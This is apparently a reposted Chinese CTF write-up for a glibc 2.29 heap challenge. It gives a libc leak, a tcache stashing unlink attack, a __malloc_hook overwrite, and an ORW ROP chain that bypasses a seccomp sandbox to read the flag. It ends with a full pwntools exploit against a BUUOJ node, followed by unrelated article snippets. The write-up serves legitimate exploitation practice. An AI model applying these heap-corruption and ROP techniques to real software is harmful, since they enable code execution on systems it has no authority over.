    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
     
    #计算__free_hook和system地址
    malloc_hook_addr = libc_base+libc.sym["__malloc_hook"]
    success("malloc_hook_addr==>"+hex(malloc_hook_addr))
    system_addr = libc_base+libc.sym["system"]
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    success("system_addr==>"+hex(system_addr))
    success("free_hook_addr==>"+hex(free_hook_addr))
    
  2. 利用tcache stashing unlink attack,修改tcahe中0x220bin的数量:

    add(0,b"a"*0x217)
    for i in range(2):
        free(0)
        edit(0,p64(0)*2)
    edit(0,p64(malloc_hook_addr))
    #进行tcache stashing unlink attack
    
    add(0,b"a"*0xf0)
    for i in range(6):  #留一个空间进行
        free(0)
        edit(0,p64(0)*2)
    
    # 构造small bin
    add(0,b"a"*0x400)
    for i in range(7):
        free(0)
        edit(0,p64(0)*2)
    # 生成两个0x100的smallbin
    add(0,b"a"*0x400)   #smallbin1 0x100
    add(1,b"a"*0x400)
    free(0)
    add(0,b"a"*0x300)
    add(1,b"a"*0x300)  
    
    add(1,b"a"*0x400)   #smallbin2 0x100
    add(2,b"a"*0x400)
    free(1)
    add(2,b"a"*0x300)
    add(2,b"a"*0x300)   
    
    #修改fd、bk指针
    fd = heap_base+0x11a0	#保证第一个smallbin的检查,与unlink检查一样
    bk = heap_base+0x20-5
    payload1 = b"A"*0x300 + p64(0) + p64(0x101) + p64(fd) + p64(bk)
    edit(1,payload1)
    
    add(0,b"a"*0xf0)
    debug()
    

    首先,size为0x100的chunk(符合程序的条件下,随便多大的chunk都行)个数填充为6,这样就只需要两个smallbin就能实现tcache stashing unlink attack ,一个给用户申请走(进行完整性检查),一个unlink后进入tcache。

    构造两个一样大的0x100的smallbin:

    在这里插入图片描述

    其次,修改第二个bin的bk指针,同时保证第一个bin的链的完整性 (堆申请好后,fd值与堆的基地址偏移是固定的):

    image-20240721215522346

    最后将0x7f,写入到tcache中0x220bin的count处:

    image-20240721222039020

  3. 最后在栈上构造ROP读取flag即可(绕过沙箱)由于add函数是先往栈上读数据,再cpy到堆上,所以可以先将ORW读到栈上,然后在calloc时再利用malloc_hook调整栈去执行ORW:

    
    pop_rdi_ret=libc_base+0x000000000002155f
    pop_rdx_ret=libc_base+0x0000000000001b96
    pop_rax_ret=libc_base+0x00000000000439c8
    pop_rsi_ret=libc_base+0x0000000000023e6a
    addsp48_addr = libc_base+0x000000000008a1c6
    ret=libc_base+0x00000000000008aa
    
    open_addr = libc.sym['open']+libc_base
    read_addr = libc.sym['read']+libc_base
    write_addr = libc.sym['write']+libc_base    
    syscall = read_addr+15
    flag = heap_base+0x6e0
    
    # open(0,flag)
    orw =p64(pop_rdi_ret)+p64(flag)
    orw+=p64(pop_rsi_ret)+p64(0)
    orw+=p64(pop_rax_ret)+p64(2)
    orw+=p64(syscall)			#需要使用系统调用syscall,前面直接查出来的open被沙盒搬掉了
    # orw =p64(pop_rdi_ret)+p64(flag)
    # orw+=p64(pop_rsi_ret)+p64(0)
    # orw+=p64(open_addr)		#前面直接查出来的openat被沙盒搬掉了
    
    # read(3,heap+0x1010,0x30) 
    orw+=p64(pop_rdi_ret)+p64(3)
    orw+=p64(pop_rsi_ret)+p64(heap_base+0x1200)
    orw+=p64(pop_rdx_ret)+p64(0x30)
    orw+=p64(read_addr)     
    
    # write(1,heap+0x1010,0x30)
    orw+=p64(pop_rdi_ret)+p64(1)
    orw+=p64(pop_rsi_ret)+p64(heap_base+0x1200)#存放地址0x50
    orw+=p64(pop_rdx_ret)+p64(0x30)
    orw+=p64(write_addr)
    
    #往malloc上写数据
    backdoor(b"aaaa")
    backdoor(p64(addsp48_addr))		# 确定栈的偏移为0x48
    

    调试:在进入calloc,访问到malloc_hook后,确定此时ORW在栈上相比与当前栈顶(sp值)的距离。随便给malloc_hook一个地址,在进入calloc之前打上断点:

    image-20240725165924186

    确定栈上的偏移,存储的ORW肯定在栈的高地址处(因为calloc函数是在add函数里面又调用的,所以calloc的栈肯定在低地址):

    image-20240725170406294

    确定栈的偏移是+0x48,所以往malloc_hook的位置写一条add rsp,0x48的指令地址即可:

    image-20240725170655176

  4. 完整EXP:

    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    def debug():
        print(proc.pidof(p))
        pause()
    
    p = remote("node5.buuoj.cn",26347)
    # p = process("./pwn")
    # p = gdb.debug("./pwn")
    libc = ELF('./libc-2.29.so')
    elf = ELF("./pwn")
    
    def add(index,content):
        p.sendlineafter(b'>','1')
        p.sendlineafter(b':',str(index))
        p.sendlineafter(b':',content)
    
    def edit(index, content):
        p.sendlineafter(b'>','2')
        p.sendlineafter(b':',str(index).encode())
        # p.sendlineafter(':',str(len(content)))
        p.sendlineafter(b':',content)
    
    def show(index):
        p.sendlineafter(b'>',b'3')
        p.sendlineafter(b':',str(index).encode())
    
    def free(index):
        p.sendlineafter(b'>','4')
        p.sendlineafter(b':',str(index).encode())
    
    def backdoor(content):
        p.sendlineafter(b">",b"50056")
        p.sendline(content)
    
    for i in range(0,7):
        add(0,b"a"*0x87)
        free(0)
    show(0)
    p.recvuntil(b"hero name: ")
    heap_base = u64(p.recv(6).ljust(8,b"\x00"))&0xfffffffff000
    success("heap_base==>"+hex(heap_base))
    
    add(0,b"a"*0x87)
    add(1,b"./flag"+b"\x00"*(0x87-6))
    free(0)
    show(0)
    #泄漏main_arena中的地址
    p.recv()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
     
    #计算__free_hook和system地址
    malloc_hook_addr = libc_base+libc.sym["__malloc_hook"]
    success("malloc_hook_addr==>"+hex(malloc_hook_addr))
    system_addr = libc_base+libc.sym["system"]
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    success("system_addr==>"+hex(system_addr))
    success("free_hook_addr==>"+hex(free_hook_addr))
    # pause()
    
    
    # 利用tcache stashing unlink attack 将tcache中size为0x220的chunk个数变大
    # 将tcache中size为0x220的chunk个数填充2个,修改next指针,为后面利用后门做铺垫
    
    add(0,b"a"*0x217)
    for i in range(2):
        free(0)
        edit(0,p64(0)*2)
    edit(0,p64(malloc_hook_addr))
    
    #进行tcache stashing unlink attack
    add(0,b"a"*0xf0)
    for i in range(6):  #留一个空间进行
        free(0)
        edit(0,p64(0)*2)
    
    # 构造small bin
    add(0,b"a"*0x400)
    for i in range(7):
        free(0)
        edit(0,p64(0)*2)
    
    add(0,b"a"*0x400)   #smallbin1 0x100
    add(1,b"a"*0x400)
    free(0)
    add(0,b"a"*0x300)
    add(1,b"a"*0x300)  
    
    add(1,b"a"*0x400)   #smallbin2 0x100
    add(2,b"a"*0x400)
    free(1)
    add(2,b"a"*0x300)
    add(2,b"a"*0x300)   
    
    #修改bk指针
    fd = heap_base+0x11a0
    bk = heap_base+0x20-5
    payload1 = b"A"*0x300 + p64(0) + p64(0x101) + p64(fd) + p64(bk)
    edit(1,payload1)
    add(0,b"a"*0xf0)
    
    #最后在栈上构造ROP读取flag
    # 准备ORW
    pop_rdi_ret=libc_base+0x0000000000026542
    pop_rdx_ret=libc_base+0x000000000012bda6
    pop_rax_ret=libc_base+0x0000000000047cf8
    pop_rsi_ret=libc_base+0x0000000000026f9e
    addsp48_addr = libc_base+0x000000000008cfd6
    ret=libc_base+0x000000000002535f
    
    open_addr = libc.sym['open']+libc_base
    read_addr = libc.sym['read']+libc_base
    write_addr = libc.sym['write']+libc_base    
    syscall = read_addr+15
    flag = heap_base+0x6e0
    
    # open(0,flag)
    orw =p64(pop_rdi_ret)+p64(flag)
    orw+=p64(pop_rsi_ret)+p64(0)
    orw+=p64(pop_rax_ret)+p64(2)
    orw+=p64(syscall)
    # orw =p64(pop_rdi_ret)+p64(flag)
    # orw+=p64(pop_rsi_ret)+p64(0)
    # orw+=p64(open_addr)
    
    # read(3,heap+0x1010,0x30) 
    orw+=p64(pop_rdi_ret)+p64(3)
    orw+=p64(pop_rsi_ret)+p64(heap_base+0x1200)
    orw+=p64(pop_rdx_ret)+p64(0x30)
    orw+=p64(read_addr)     
    
    # write(1,heap+0x1010,0x30)
    orw+=p64(pop_rdi_ret)+p64(1)
    orw+=p64(pop_rsi_ret)+p64(heap_base+0x1200)#存放地址0x50
    orw+=p64(pop_rdx_ret)+p64(0x30)
    orw+=p64(write_addr)
    
    #往malloc上写数据
    backdoor(b"aaaa")
    backdoor(p64(addsp48_addr))
    add(1,orw)
    p.interactive()
    

image-20240725170732001

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1947992.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据库概念以及增删改

1.概念 、 2.通用语法 3.数据增删改

mac大文件清理软件哪个好 mac大文件怎么清理 苹果电脑清理软件推荐免费

mac采用固态硬盘技术&#xff0c;数据存储和系统响应速度优势明显&#xff0c;但是mac的内存弊端同样体现在其固态硬盘的技术&#xff0c;导致用户无法通过机械硬盘进行扩充内存。而我们日常使用电脑会产生大量系统垃圾、用户缓存等文件&#xff0c;平时下载的电影和大型游戏安…

通信原理-实验六:实验测验

实验六 实验测验 一&#xff1a;测验内容和要求 测试需要完成以下几个步骤&#xff1a; 配置好以下网络图&#xff1b;占总分10%&#xff08;缺少一个扣一分&#xff09;根据下面图配置好对应的IP和网关以及路由等相关配置&#xff0c;保证设备之间连通正常&#xff1b;占总…

【日常记录】【JS】对一个数组,按照某个字段的值,进行分组

文章目录 1. 前言2. lodash 的分组3. Object.groupBy()参考链接 1. 前言 在开发中&#xff0c;经常会遇到一组数据&#xff0c;要按照某个字段进行分组&#xff0c;这个时候会有很多种方法&#xff0c;可以使用 forEach、reduce、等其他方法 reduce 方法 function groupBy(arr…

JS基础知识学习笔记全

JS基础知识学习笔记全 一、引入方式 1、内部脚本 &#xff08;一般定义在body下面会改善执行速度&#xff09; <body></body><!-- 内部脚本 --><script>/* 打开页面警告框显示的内容 */alert(helloJS);</script>2、外部脚本 外部专门新建一…

Redis-主从模式

目录 前言 一.主从节点介绍 二.配置redis主从结构 二.主从复制 四.拓扑结构 五.数据同步 全量复制&#xff08;Full Sync Replication&#xff09; 局部复制&#xff08;Partial Replication&#xff09; Redis的学习专栏&#xff1a;http://t.csdnimg.cn/a8cvV 前言 …

H3CNE(vlan与子接口技术)

目录 10.1 vlan间通信技术 示例一&#xff08;多臂路由&#xff09;&#xff1a; 10.2 子接口技术 示例二&#xff08;子接口技术&#xff09;&#xff1a; 10.3 vlannif接口技术 10.3.1 三层交换机与VLANNIF技术 示例三VLANNIF配置&#xff08;将交换机当成路由器使用&…

鸿蒙仓颉语言【cryptocj 库】RC2、 RC4 、AES对称加密算法

2 提供RC2、 RC4 、AES对称加密算法 前置条件&#xff1a;NA 场景&#xff1a; 支持对称加密算法。 约束&#xff1a;RC2密钥长度一般16字节&#xff0c;加密块长度8字节&#xff1b;AES加密块长度16字节 性能&#xff1a; 支持版本几何性能持平 可靠性&#xff1a; NA …

pytest:4种方法实现 - 重复执行用例 - 展示迭代次数

简介&#xff1a;在软件测试中&#xff0c;我们经常需要重复执行测试用例&#xff0c;以确保代码的稳定性和可靠性。在本文中&#xff0c;我们将介绍四种方法来实现重复执行测试用例&#xff0c;并显示当前迭代次数和剩余执行次数。这些方法将帮助你更好地追踪测试执行过程&…

3.多租户调研1

https://gitee.com/xiaoqiangBUG/hello-ruoyi-cloud.git 1.mybatis plus 的插件 TenantLineInnerInterceptor 是 MyBatis Plus 框架中的一个拦截器&#xff0c;它用于实现多租户系统的数据隔离。在多租户应用中&#xff0c;不同的租户应该只能访问到自己的数据&#xff0c;而…

URL过滤、DNS过滤和内容过滤的总结

目录 URL过滤 URL和URI URL -- 统一资源定位符 URI --- 统一资源的标识符 URL和URI之间的区别 URL过滤的方式 HTTP协议获取URL的方式 HTTP协议做控制管理的流程 HTTPS协议做控制管理的流程 1&#xff0c;配置SSL的解密功能 2&#xff0c;直接针对加密流量进行过滤 例…

javaEE-03-cookie与session

文章目录 Cookie创建Cookie获取Cookie更新CookieCookie 生命控制Cookie 有效路径 Session 会话创建和获取sessionSession 域数据的存取Session 生命周期控制浏览器和 Session 之间关联 Cookie Cookie 是服务器通知客户端保存键值对的一种技术,客户端有了 Cookie 后&#xff0c…

深入解析 GPT-4o mini:强大功能与创新应用

&#x1f4e2;博客主页&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01; &#x1f4e2;本文由 JohnKi 原创&#xff0c;首发于 CSDN&#x1f649; &#x1f4e2;未来很长&#…

品牌故事线:如何在活动策划中保持品牌信息的连贯性?

在活动运营中保持品牌一致性和传达清晰的品牌信息&#xff0c;是确保活动成功并提升品牌形象的关键。 以下是一些具体的方法和建议。 码字不易&#xff0c;如果回答对你有所帮助&#xff0c;请不吝给一个三连哦&#xff01; 一、明确品牌定位与核心价值 首先&#xff0c;需…

一起刷C语言菜鸟教程100题(27-35)

先说明这个虽然菜鸟教程也有答案&#xff0c;但是这个专栏的博客是自己过手写了一遍&#xff0c;有自己的理解&#xff0c;有些习题自己是变化了一些&#xff0c;更适合练手&#xff0c;也会写的更普遍一些~ 今天我们一起继续刷题&#xff0c;链接放在这里供大家自行使用 C 语…

小红书(社招二面)算法原题

萝卜快跑涨价 距离我们上次谈 萝卜快跑 不足半月&#xff0c;萝卜快跑迎来了不少"反转"。 先是被曝远程后台有人操控&#xff0c;真实日成本超 400&#xff1a; 最近还被不少网友吐槽&#xff1a;萝卜快跑涨价了&#xff0c;如今价格和网约车持平。 据不少博主实测&a…

如何在 Windows 上安装并配置 VNC 远程连接树莓派,并结合Cpolar实现公网远程访问

目录 ⛳️推荐 前言 1. 使用 Raspberry Pi Imager 安装 Raspberry Pi OS 2. Windows安装VNC远程树莓派 3. 使用VNC Viewer公网远程访问树莓派 3.1 安装Cpolar步骤 3.2 配置固定的公网地址 3.3 VNC远程连接测试 4. 固定远程连接公网地址 4.1 固定TCP地址测试 ⛳️推荐…

FastAPI(六十九)实战开发《在线课程学习系统》接口开发--修改密码

源码见&#xff1a;"fastapi_study_road-learning_system_online_courses: fastapi框架实战之--在线课程学习系统" 之前我们分享了FastAPI&#xff08;六十八&#xff09;实战开发《在线课程学习系统》接口开发--用户 个人信息接口开发。这次我们去分享实战开发《在线…

【Linux操作系统】:进程间通信

目录 进程间通信介绍 1、进程间通信的概念 2、进程间通信的目的 3、进程间通信的本质 4、进程间通信的分类 管道 匿名管道 匿名管道的原理 pipe函数 创建匿名管道 管道的四种情况和五种特性 命名管道 使用命令创建命名管道 创建一个命名管道 命名管道的打开规则 …

Lc60---1189. “气球” 的最大数量(排序)---Java版

1.题目 2.思路 (1)用字典的方法,ballon,这个单词里面每个字母&#xff0c;需要的个数 (2)再创一个字典的方法统计&#xff0c;输入的字符串的字母的个数 (3)计算能拼凑出多少个“ballon" (4)代码解释 for (char c : text.toCharArray()) {count.put(c, count.getOrDefau…